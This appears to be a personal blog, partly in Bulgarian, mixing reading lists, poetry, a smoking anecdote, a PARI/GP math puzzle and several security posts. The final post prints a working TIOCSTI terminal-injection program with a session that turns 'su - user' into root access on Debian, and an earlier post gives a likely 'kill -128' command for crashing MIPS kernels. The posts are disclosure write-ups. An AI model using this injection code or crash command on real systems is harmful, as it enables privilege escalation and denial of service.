Sun Mar 10 13:16:08 EET 2019

Чeтeнe / Reading (1)

Зa чeтeнe / Reading

Джeк Лoндoн, Бeлю Πyшилкaтa, MAЛЧO CЪHУBA: https://chitanka.info/text/3225/4#textstart

Aйзък Aзимoв, Πpoфecия: https://chitanka.info/text/28947-profesija


Jack London, Smoke Bellew, SHORTY DREAMS: http://www.gutenberg.org/cache/epub/1596/pg1596-images.html

Isaac Asimov, Profession: https://en.wikipedia.org/wiki/Profession_(novella)

Posted by joro | Permanent link

Sat Mar 9 14:46:14 EET 2019

Цигари


Роден съм през 1972 и съм спирал цигарите за повече от
един ден само два пъти, за разлика от Марк Твен, който
ги е спирал много повече пъти.

Пуша от 16 годишен.

Първото спиране беше в университета, когато едно гадже ми
направи успешно социално инжинерство. Издържах около
месец. 

Второто спиране на цигари беше през 2018.
Имах проблеми с кръвта (да еба мамицата на съвременната
фармация), които сами по-себе си бяха доста лоши и
вероятно те доведоха до двойна бронхопневмония и плеврит. Заради
плеврита ми направиха операция по спешност. За пневмонията
бях на "коктейл" антибиотици на системи.
Когато имах температура 39.6 по Целзий и храчех особено
гадни храчки изобщо не ми се пушеше. 
След като ми оправиха пневмонията известно време не ми се пушеше.
Издържах около 2 месеца, после пак пропуших поради шибани причини.

Не давам съвет относно пушенето на никого


Posted by joro | Permanent link

Fri Mar 1 17:06:21 EET 2019

Честита Баба Марта

Честита Баба Марта. Happy Baba Marta: https://en.wikipedia.org/wiki/Baba_Marta

Posted by joro | Permanent link

Wed Feb 13 17:44:20 EET 2019

снимка 2019 02 1


Posted by joro | Permanent link

Fri Dec 7 15:04:34 EET 2018

Πoeзия (1) / Poetry (1)

Поезия (1) / Poetry (1)

Носете си новите дрехи, момчета,
падаме, както ходим,
умираме, както спим.
Въпросите на тая планета
я решим,
я не решим…

Но не казвайте: утре ще бъдем красиви.
Не казвайте: утре ще бъдем щастливи.
Не казвайте: утре ще бъдем, ще бъдем…
Ще обичаме утре,
утре ще бъда любим.
Носете си новите дрехи, момчета,
падаме, както ходим,
умираме, както спим.

Не казвайте: утре ще почнем голямото,
днес да спечелим пари за прехраната.
Не казвайте: утре да бъдем честни,
днес тихичко
ще се проврем…
Носете си новите дрехи, момчета,
ходейки падаме,
сънувайки мрем.

Не казвайте: утре с вик на площада
ще кажа истината, после – на клада!
На клада, но утре. А днес потърпете,
днес се налага
да премълчим…
Носете си новите дрехи, момчета –
падаме, както ходим,
умираме, както спим!

Стефан Цанев


====

Стихът се ражда не от щастие ли несъучастие,
Ражда го болката.
Но колко?
Като при всяка наркоза
Важна е дозата.

Дамян Дамянов

Very rough translation:

The verse is not born by happiness or non-cooperation,
It is born by the pain.
But how much?
Like in narcosis
It depends on the dose.

Posted by blah | Permanent link

Mon Sep 24 16:14:26 EEST 2018

Math challenge of the day 2018-09-24


Math challenge of the day 2018-09-24

For complex $x$ define 

f(x)=exp(x^2)-exp(x)-1

Is it true that f(5 i pi) = 0?

We have strong numerical evidence with precision
100 decimal digits but some meromorphic doubts too ;)

gp/pari session (warning, gp is very buggy):

parisize = 8000000, primelimit = 500000, nbthreads = 2
? \p 100
   realprecision = 115 significant digits (100 digits displayed)
? f(x)=exp(x^2)-exp(x)-1
%1 = (x)->exp(x^2)-exp(x)-1
? f(5*I*Pi)
%2 = 6.952351934431877974 E-108 + 0.E-114*I

Cheers for the day.

Posted by cheers | Permanent link

Sat Sep 8 15:43:51 EEST 2018

On immortality in computer games


On immortality in computer games

When I younger so much younger than today I was playing with computer
games in unorthodoxal way. Instead of playing the game like a user, I
changed the games so the player was immortal. Maybe more precisely the
player had infinite number of lives.

In short the process was: analyze the code and change features you
don't like, like finishing the game because of death. In some sense
this was immortality in the game.

Per rough memory there were several types of immortality

(1) Instant free rebirth, starting from the beginning of the level
(2) No way to die
optionally
(3) Super natural skills like passing thru walls, including exiting
the screen from right and appearing on the screen from the left.

The hardware was Правец 82 (the socialist cloning of Apple II):
8 bit processor 6502, about 64Kb memory, including video memory and
ROM.

My "customers" were the colleagues of my father, engineers and
professors. They reached the end of a patched game and the game told
them: "You are very skilled and win monetary award, call #american
number". They didn't call, partially because the game was pirated.

Similar stuff appears in science fiction. 

Implementing this in Internet Of Things will make great mess, it is
just a matter of time.


Posted by Game Immortality Inc. | Permanent link

Sun Jul 1 19:00:40 EEST 2018

coverity scan of qmail -- 53 potential defects (with false positives)


coverity scan of qmail -- 53 potential defects (with false positives)

coverity is commercial static source code analyzer accepting some
open source projects for free.

Did a scan of djb's qmail, the results are at:

https://scan.coverity.com/projects/qmail


the tool gave only 53 defects. Quick scan suggests that the non-false
positives are logically dead code or file race conditions (might be wrong about this).

to access the defects, you will need coverity account (free,
captchas).

djb is giving monetary bounty for qmail, owing me a bounty he couldn't
reproduce because of lack of virtual memory on old freebsd ;)


Posted by djb owes me a bounty | Permanent link

Sat Jun 30 09:19:47 EEST 2018

BUG_ON() on mips kernels 4.17.2 and earlier (old but alive)

BUG_ON() on mips kernels 4.17.2 and earlier (old but alive)

This is old but alive.

On mips kernel 4.17.2 and earlier unprivileged user can trigger
BUG_ON() possibly causing denial of service on the whole machine.

Suggested patches from 2013 are in the thread at:
https://www.spinics.net/lists/mips/msg73398.html


in 4.17.2 ./kernel/exit.c

do_group_exit(int exit_code)
{
        struct signal_struct *sig = current->signal;

        BUG_ON(exit_code & 0x80);

|do_group_exit| is called from

./kernel/signal.c:2482:         do_group_exit(ksig->info.si_signo);

Appears to me si_signo can be 0x80 (in decimal 128) because of:

arch/mips/include/uapi/asm/signal.h:15:#define _NSIG            128

Probably testcase will be:
$kill -128 `pidof program`


Posted by BUG ON | Permanent link

Wed Jun 13 12:25:34 EEST 2018

Ancient "su - hostile" vulnerability in debian 8 and 9

Ancient "su - hostile" vulnerability in debian 8 and 9

Just FYI.

Warning: This is rather old, since at least 2005, probably
much earlier. Check the links at:
http://www.openwall.com/lists/oss-security/2018/06/12/2

Summary: Doing "su - hostile" in debian 8 and 9 may lead
to root privilege escalation. Default sudo -u probably is
affected too.

Per chat with some admins they use su - user.

Session:

root@machine1:~# su - guest4
guest4@machine1:~$ (sleep 10; /tmp/a.out id) &
[1] 4737
guest4@machine1:~$ exit
logout
### just wait
root@machine1:~# id
uid=0(root) gid=0(root) groups=0(root)
root@machine1:~# cat /tmp/tty.c 
/*
 *
 * https://unix.stackexchange.com/questions/48103/construct-a-command-by-putting-a-string-into-a-tty
 * */
#include <sys/ioctl.h>
#include <termios.h>
#include <stdio.h>
#include <stdlib.h>

void stackchar(char c)
{
  if (ioctl(0, TIOCSTI, &c) < 0) {
    perror("ioctl");
    exit(1);
  }
}
int main(int argc, char *argv[])
{
  int i, j;
  char c;

  for (i = 1; i < argc; i++) {
    for (j=0; (c = argv[i][j]); j++) {
      stackchar(c);
    }
    stackchar('\n');
  }
  exit(0);
}

Posted by su do we | Permanent link